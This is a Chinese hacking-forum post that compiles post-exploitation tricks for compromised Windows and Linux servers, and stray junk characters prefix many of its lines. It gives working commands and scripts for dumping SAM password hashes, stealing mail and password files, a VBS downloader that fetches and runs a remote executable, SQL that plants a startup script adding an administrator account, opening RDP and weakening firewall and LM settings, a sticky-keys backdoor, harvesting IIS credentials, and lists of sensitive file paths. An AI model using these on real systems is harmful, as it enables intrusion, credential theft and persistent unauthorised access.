感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
  h! t; \9 U* V- W7 R5 F! k————————————————————————————
* h; M% b) v7 C, a% p. R1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
5 q7 \& K8 ^& p5 n! x. B- F) V那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
0 i4 f: b9 W7 H! g}  

+ `- [7 v7 G+ d- W! x0 s提权先执行systeminfo
; G* T( g6 ]  T, T4 Qtoken 漏洞补丁号 KB956572
Churrasco          kb952004
$ \3 k3 E8 S0 I3 T4 W: G- h4 D8 B命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
! L" ?5 }2 _/ s- B——————————————
2、收集系统信息的脚本  
# k% a3 h+ H  ufor window：
$ l) I+ v; v2 S+ c
@echo off
5 S1 Q- p2 x3 ^echo #########system info collection
systeminfo
ver
hostname
net user
0 H! q" h, t* hnet localgroup
net localgroup administrators
net user guest
+ @4 `6 o. ^/ y; ^1 Enet user administrator

' M" y8 H9 T! V# U' Xecho #######at- with   atq#####
echo schtask /query
0 a6 x$ `& l- R1 |! h; y! ~
/ @% |) ]- a5 u/ z# Uecho
0 p* j. j0 z" r6 Z2 G. Y0 ], necho ####task-list#############
* [+ V8 C, q: v+ w. Ktasklist /svc
echo
echo ####net-work infomation
8 \/ k8 w" O  H4 z" h6 nipconfig/all
route print
7 x' A5 d* H6 k3 Marp -a
netstat -anipconfig /displaydns
. l  i3 V  ^4 R0 T4 kecho
echo #######service############
sc query type= service state= all
. _6 `5 |' `# \6 z: Eecho #######file-##############
cd \
tree -F
& n3 Y$ M9 @. i  Z: nfor linux：
* ]' W# a( z5 k9 \; V
/ Z7 x, n1 y5 d- j& N' C5 D5 x#!/bin/bash
3 R4 \# h- m/ r* s9 K& q! L
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 H1 l1 C: }* P8 I/ L6 ]1 oecho #######basic infomation##
cat /proc/meminfo
; ]8 u& M, K% t# f$ P# @. Z1 Cecho
cat /proc/cpuinfo
echo
( r+ h3 g1 r9 _8 x4 |! hrpm -qa 2>/dev/null
/ I% l3 N0 o4 q. i######stole the mail......######
% E: M; _! }7 ^* |$ dcp -a /var/mail /tmp/getmail 2>/dev/null
9 G- W& e8 L/ M9 B# N" r
2 ]- P7 G- I0 D4 x1 Y
echo 'u'r id is' `id`
2 X# x: T) b- V" g4 J$ e: \echo ###atq&crontab#####
' q3 K7 ^7 |) f4 |atq
crontab -l
echo #####about var#####
  a  D4 V' t8 A3 J4 e: `set

echo #####about network###
5 h& @8 b' T7 q$ D; D0 x8 J####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
& {, n5 w. V, n( f) ~6 uhostname
. N0 K2 N" D' ^8 P$ j) iipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

, z) Q: A- S8 D* U" g7 {3 Jecho ######service####
) |4 F2 a% g/ @8 ]: v$ Schkconfig --list

% s5 T( N/ H/ A# J/ tfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
  `/ D3 C- m2 P  h: L0 b) K# vdone

locate passwd >/tmp/password 2>/dev/null
! n% m' J1 }; R+ l5 U0 esleep 5
1 Q6 k4 }8 ~4 _+ g) ~locate password >>/tmp/password 2>/dev/null
- N3 l& g5 w. U; v6 S- j% `4 csleep 5
7 Q& o- w( X9 s. Ylocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
1 [2 r% G! j- j" Z8 [! ^
###maybe can use "tree /"###
echo ##packing up#########
2 i) u' w5 \% Q0 G2 i0 C' Jtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
0 e+ L. w2 J" [9 h3 f7 Q- _7 E——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
3 a& Z- p* W/ q4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
3 W7 w% l) V7 F# r( Jecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
4 L8 T2 W- H+ J4 k$ _& @2 uecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
9 [1 X" ~( @2 @+ k5 H; J  becho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
' S( k5 \. r7 |echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
' H/ E+ \9 P8 ~/ h: ?echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
' W* O/ O  K5 ]* Jcftmon.vbs
% n; Z2 K' {, P* s
% d- L  i+ w  z$ z" b, j& i2
On Error Resume Nextim iRemote,iLocal,s1,s2
1 N0 d# C* d5 m0 u6 w- QiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
9 C  A* s+ e' M/ B( Y  `7 |s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
- N5 Q9 p/ f) M- z  ^5 OsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

5 w6 i6 H# e6 Y1 K5 V当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
- Y% y. [9 `6 y9 i5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
0 M; l9 n+ K+ w( P3.更改终端端口为2008(0x7d8)
1 j$ L2 Q9 E) J  k7 i5 fREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 H( k  `" f3 m2 B————————————————
( x: K* Y3 b$ m4 W7 I6、create table a (cmd text);
. c) j1 v1 a1 s7 h4 P8 _: Minsert into a values ("set wshshell=createobject (""wscript.shell"")");
. d* h# N! g: X+ U1 y( _. M, ]insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
& N4 l; }' k- N# q! Qinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
% i" }! @9 _0 Z6 Lselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
, H$ N# Z, Z# K5 ~; v$ j————————————————————
& }7 p4 H& @0 ?: U7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
' H. w" m$ t, j/ b8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
- d; ^( Q+ U! B, T& w8 D  for /d %i in (???) do @echo %i
/ ~+ ?# C* W: q
0 {% e, O  W2 e把当前路径下文件夹的名字只有1-3个字母的打出来
6 g6 v( ]+ @* @! ]; e
2.for /r %i in (*.exe) do @echo %i
; y0 D  g3 H" M; l  
7 U# q' U9 w8 p. k( X( q: @以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

% k/ n, `) _/ ~' V5 H3 C, bfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

( S  Z" c! J( z& J3.for /f %i in (c:\1.txt) do echo %i
  
( _6 l) d! ~; \8 O' y  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

" p/ T3 Q, J( C' g4 I4 l8 x4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
1 E/ G: ^7 ]( W
  delims=后的空格是分隔符 tokens是取第几个位置
* y' o/ I5 f4 t2 o' F! P——————————
" t4 h; i8 b0 q/ a4 D! b3 }●注册表:
; ]3 c! o( ~6 z6 x1.Administrator注册表备份:
3 m8 f, S* i1 t; Ureg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
4 {5 }1 M" \" c( L
: s7 K( A6 G  B7 P# P& v0 b2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
& I! u9 p) x/ h修改PortNumber.
1 d( E3 r* }; U1 }2 z- d
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
0 A# |0 F, J0 ]( I
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

  f, L6 h: @$ I% ~" T5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
( F, K6 \( H: p+ O  a- G+ V
4 Y4 X* G0 T7 v$ C' |. ^5 e6.IPSec默认免除项88端口(需重启):
# B" A; Q9 o$ `: w  Q4 ?reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
0 }8 ~1 r; z8 `0 C或者
+ O0 m  O8 ?# n" J! V6 P1 Bnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
& P' W) j0 {5 ?3 m! F- H. s+ t
8.系统口令恢复LM加密:
7 H7 s: l% ]7 {( E# ^reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
5 Q6 N6 y& k: M8 Q/ ~# h
3 w- ~' N& W$ F. `) b8 n) q9.另类方法抓系统密码HASH
) y9 s) Q7 I" d4 B0 r4 U8 oreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
/ B5 V* x% H& Z8 u8 r9 H1 O, lreg save hklm\security c:\security.hive
" H4 j* J5 o3 |( j" F; E2 C% b
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
8 i; i" V  e0 X6 [7 t; \星外vbs(注：测试通过，好东西）
3 O2 }: Z: Y: ^. ?2 ]7 i& j- K; u; `Set ObjService=GetObject("IIS://LocalHost/W3SVC")
9 g. \4 C8 v+ x' P; i% AFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
" F7 z" V7 V% J- f  I2 p2 v$ cset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
9 e' K; y: c6 C3 Dexit for
! h+ [$ \9 |& `% P+ d3 \  f8 @1 }msgbox("error!")
wscript.quit
/ C  u$ a  m3 }3 O" R1 Send if
! _( c8 W, t/ E1 A3 t  Eserverbindings=IIS.serverBindings
! T( [7 `3 s- T% s  C, P: ^- VServerComment=iis.servercomment
) N* |: |* g" I9 l5 Uset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
+ q7 s7 w( F8 Q# t4 A) c+ dpath=IIsWeb.path
0 y% ^; F2 e7 W- Elist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
' Y' n( A; j" R2 ^: jend if
+ V& _* a! R9 }5 V3 j, LNext
3 [7 h6 d' x' h) ]7 Q) E& j  ]wscript.echo list
( U( G! N! B3 H" Z7 j% DSet ObjService=Nothing
' {0 w+ L: q' q% g* s9 B/ i& H4 Ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
' k6 Q& M5 w2 \( k/ v/ o2 \( }将folder.htt文件，加入以下代码：
0 T, A/ l1 [1 \; p# I6 w<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
% G( U5 c9 u5 r' ~% B5 R3 {( `然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
% K- B% D* j# Y% f 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
" V4 y. j) t- L, P1 B9 L2 E: H( h+ o url=request.severvariables("path_info")
! B9 l7 ?5 k* |# U$ l  N5 @1 ] path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
! O+ X+ x4 s; f1 _' ~LINUX常见路径：

& ]* \* n2 C% u, f* N$ q/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
+ l4 h! C$ ~0 z; a) e/etc/motd
9 M; n: ^; W* |  \' l/etc/ld.so.conf
' e+ Y6 {( m% |; f6 t7 A5 O- S/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
0 g* y" Z. q+ I' g' W$ D# q9 r+ r/var/httpd/conf/php.ini
' w  L8 `3 L" d9 N3 c  X/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
* ]$ C# M+ [2 n4 Q3 i2 S! \* g/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
* d) c  r: j- |: F0 S/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
& y& v! \" R# {3 n. I- ^/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
' T, S; m- ^/ C% \: H4 n/usr/local/httpd2.2/htdocs/index.php
/ v; f" _; L: O6 w$ y5 {. n$ I/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
' U* b8 u- j; h: f7 g( J/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
6 L! {9 b! r5 n9 F# @/www/php/php.ini
/www/php4/php.ini
+ \! Q- o0 K0 m% S/www/php5/php.ini
/www/conf/httpd.conf
4 L* V2 f: n9 M3 ]/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
$ u3 W& _4 k6 C- J' T) h* I  @' i/etc/apache/apache.conf
' U- w/ O* E) K/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
& ?; X: |; M4 s7 z( @( I+ O$ m/home/apache/conf/httpd.conf
1 s7 A# A  h; f  h$ W; G& G5 [/home/apache2/conf/httpd.conf
0 m. y& ^/ d% L! U# c! W% F6 g1 S! g/var/log/apache/error_log
. M. D( U0 l" v8 k: X7 e: p/var/log/apache/error.log
% e7 p: t) I& }1 D( ]& l/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
( t0 a# a0 Q0 }; I/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
$ g7 o& Z" }, V/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
. {7 y' q! {4 J3 b" a/usr/local/apache/logs/error.log
4 B& \% f/ p' G  v- t7 E8 Y& Y/usr/local/apache/logs/access_log
. j6 F% p0 G0 q" W/ y$ E/usr/local/apache/logs/access.log
/var/log/error_log
. m. k4 L& N5 [9 Q& H5 e/var/log/error.log
5 u3 i: y- ~8 Z4 U/var/log/access_log
/var/log/access.log
# D$ s8 x1 @# k& q1 p9 r7 L/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
) ~. x1 \. I  x- W  G/bin/php.ini
' N% i" q  r: T. d9 y/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
7 g0 U8 j8 o3 b' |8 k/usr/lib/php.ini
/usr/lib/php/php.ini
7 g1 K# o6 ^( V( v$ @9 Y1 J/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
, I5 O2 n# z' l3 b" r) `& x2 I+ ?/usr/local/php4/php.ini
/ s2 n7 A5 H4 Y/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
: v6 |+ W; S. d/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
, o, S. H, {7 t  G7 n$ f& _; G/etc/php5/apache/php.ini
, G/ n7 t: X. ~$ F  T/etc/php5/apache2/php.ini
/etc/php/php.ini
0 I' o$ Y- ^# H7 Y2 t# M8 b! v  \/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
- @6 s. [3 U/ j  [1 Y/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
  O' F( ?/ L$ M6 W; O2 }% _/ \# d& z/var/local/www/conf/php.ini
5 t4 ]: Y* |9 E* d" ~; ~/var/local/www/conf/httpd.conf
& h2 [9 X2 D# ]4 f/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
- z, h( K* L( d0 T/etc/php5/cgi/php.ini
; k: _& M- o) d3 s' ~3 M3 T0 n/php5/php.ini
/php4/php.ini
/ V+ `' Q3 `& V3 v/php/php.ini
) H, c' U2 a3 G3 @' p, V) G/PHP/php.ini
! R( d7 F! ]" i; M/ n, J/apache/php/php.ini
) ?! I; P$ U  T: a5 p: Z/xampp/apache/bin/php.ini
! e+ g3 v* ^+ V2 F, Q5 }2 X/xampp/apache/conf/httpd.conf
* |3 a! h- c" M# ^, K2 J/NetServer/bin/stable/apache/php.ini
1 F) S0 d/ [4 }1 o2 `/home2/bin/stable/apache/php.ini
* \: }7 T# W* Y, j3 n/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
' b1 F1 E9 P" q2 d9 E/var/log/mysqlderror.log
/var/log/mysql/mysql.log
  V; c2 C7 H) e, K/var/log/mysql/mysql-slow.log
/var/mysql.log
( z% t6 B# H: G/var/lib/mysql/my.cnf
) a( O/ Z7 g* f1 e. t+ k& j/usr/local/mysql/my.cnf
' f4 x. L' P* R" e/usr/local/mysql/bin/mysql
% `% J: `" e* n: p4 n  D/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
+ v: c, X' K% |- ~2 P7 W% ]/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
& D: |& g" x4 w/ c. S/ J: @/usr/local/cpanel/logs/login_log
) L4 v, |( w9 ]1 C4 q4 B5 H/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
: r4 D7 J' m, ~, c
, H# Y1 E( [0 K: ]+ ac:\windows\php.ini
6 w+ l% b. S- w3 wc:\boot.ini
" T% W$ o- X: h/ i$ vc:\1.txt
c:\a.txt
$ y) c: X- @# p. Y& z' L8 z
8 K1 u5 p- x4 X$ u1 Yc:\CMailServer\config.ini
4 k4 I. }. Q6 y* X3 `c:\CMailServer\CMailServer.exe
- Y1 A6 c3 K& \) L$ X& C: f. `c:\CMailServer\WebMail\index.asp
. x+ B5 S1 q3 P% A+ b3 }+ ]c:\program files\CMailServer\CMailServer.exe
; t7 k5 C6 I, b) ~$ Z9 @, hc:\program files\CMailServer\WebMail\index.asp
1 e( r$ F& O* t* s0 |  S! gC:\WinWebMail\SysInfo.ini
! N0 `3 l* w) f, MC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
7 x0 V! x! _* s) G$ bC:\WINDOWS\7i24tool.exe
2 i- @: z8 T: Y0 ?" g
2 C$ Y6 k" d" W" M1 o3 v3 ~! Z  D: Pc:\hzhost\databases\url.asp
4 [$ S. t: R' k6 K  i$ j. m: ~% {
/ L* v1 O/ I7 u2 e, wc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
9 ], g8 O6 ~3 V. j# C9 }C:\WINDOWS\web.config
+ v4 N  ?2 M% m8 z, Jc:\web\index.html
+ F2 N) A0 d1 I2 S4 j- T( V$ a- _c:\www\index.html
- h0 g: w* A) {0 Tc:\WWWROOT\index.html
7 V9 J$ r. g, K7 r6 Uc:\website\index.html
' P5 ^' _. U# l7 L0 Z6 D2 f+ x; ec:\web\index.asp
( h. M& W: C$ u1 ?c:\www\index.asp
0 q* [0 }' c" ^( ~c:\wwwsite\index.asp
c:\WWWROOT\index.asp
4 [: _, O, ]& v9 Kc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
' m; U& Q1 Q% V, tc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
! T4 W# Z' V" l1 n, U/ rc:\web\default.php
7 L. y+ g' M0 M% g5 V, }c:\www\default.php
+ ]$ m. q3 K' s4 ?c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
/ u$ P0 u* J9 ~c:\windows\notepad.exe
* V; I% l1 }* [8 p. }- Fc:\winnt\notepad.exe
& z* J2 Y) i. m# T8 [5 H9 sC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
, g% L6 s" q# E8 O. VC:\Program Files\360Safe\360safe.exe
# ~! O! b: T' NC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
0 ^# H9 |5 o2 @8 p' L% f# ^C:\Program Files\Rising\Rav\RsTask.xml
' D3 H" A7 D  \. U  O9 zC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
0 s/ ]: {7 g7 hC:\Documents and Settings\Administrator\Cookies\index.dat
, u7 k6 R9 K/ ]2 f; E) p- |  CC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
8 U2 W1 R$ c; V2 e* U. c6 ]/ ]C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
5 r0 e! V; z0 @$ R/ }- N% h, IC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
! I8 K7 W- T) R2 `! IC:\Documents and Settings\Administrator\My Documents\a.txt
2 K  M( G+ _! L3 wC:\Documents and Settings\Administrator\桌面\a.txt
5 E+ v0 {1 Z+ z7 @3 \0 f2 IC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
5 C2 w0 e" N, H* S8 k* GC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
, y" B" ~* V/ n( \' v9 TC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% u8 m% y$ @. K; X8 @$ i+ Q4 xC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
& X+ ?6 D& e# U6 S" F- f, wC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
; Y9 I& u% B* [& ^" J  Z% mC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
! w2 g+ G9 n/ R3 P- ]* dC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
) q: X( O' U6 Q; Z1 xC:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 ~+ b. n( J. Z& aC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
$ ~. _/ F) b  X. ]$ i# EC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
% g( W4 ~/ C8 F# eC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
2 ^4 K, S) K/ t$ x" f" Mc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
7 T7 b: I# n$ G( r8 H1 Q; a, C6 tC:\Program Files\Oracle\oraconfig\Lpk.dll
$ Z" W9 E. p. m% v: ~# a" W* [! RC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
' B1 M0 U$ r# M, |; j4 J9 Z$ GC:\WINDOWS\system32\inetsrv\w3wp.exe
* {% `8 ]5 ~+ g/ v* u" UC:\WINDOWS\system32\inetsrv\inetinfo.exe
$ Z& A0 }4 J" l6 w. dC:\WINDOWS\system32\inetsrv\MetaBase.xml
$ q( r( g! {* E% cC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
+ y1 t+ R9 g0 M) L# P5 SC:\WINDOWS\system32\config\default.LOG
" v. t3 Z- g" l+ RC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
' ^2 \$ l8 Q/ `% N( ^c:\CMailServer\config.ini
" R+ v  O5 p  \4 Zc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
8 d4 b3 V8 N6 L' O) R% N) jc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* J8 |; r1 q0 `/ J% |0 H/ Tc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, Z0 S' [6 M* J3 `, Oc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' P, e$ V/ ]/ }4 R! T4 ^( Ac:\Apache2\Apache2\bin\Apache.exe
$ H' z5 o0 S! D) G4 N7 u# Cc:\Apache2\bin\Apache.exe
- Q  W" O) G5 ~2 V2 T) \3 L0 M' hc:\Apache2\php\license.txt
6 k4 O7 {. F6 c; s* sC:\Program Files\Apache Group\Apache2\bin\Apache.exe
8 p# R# Y, F% D' ^# v# E/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
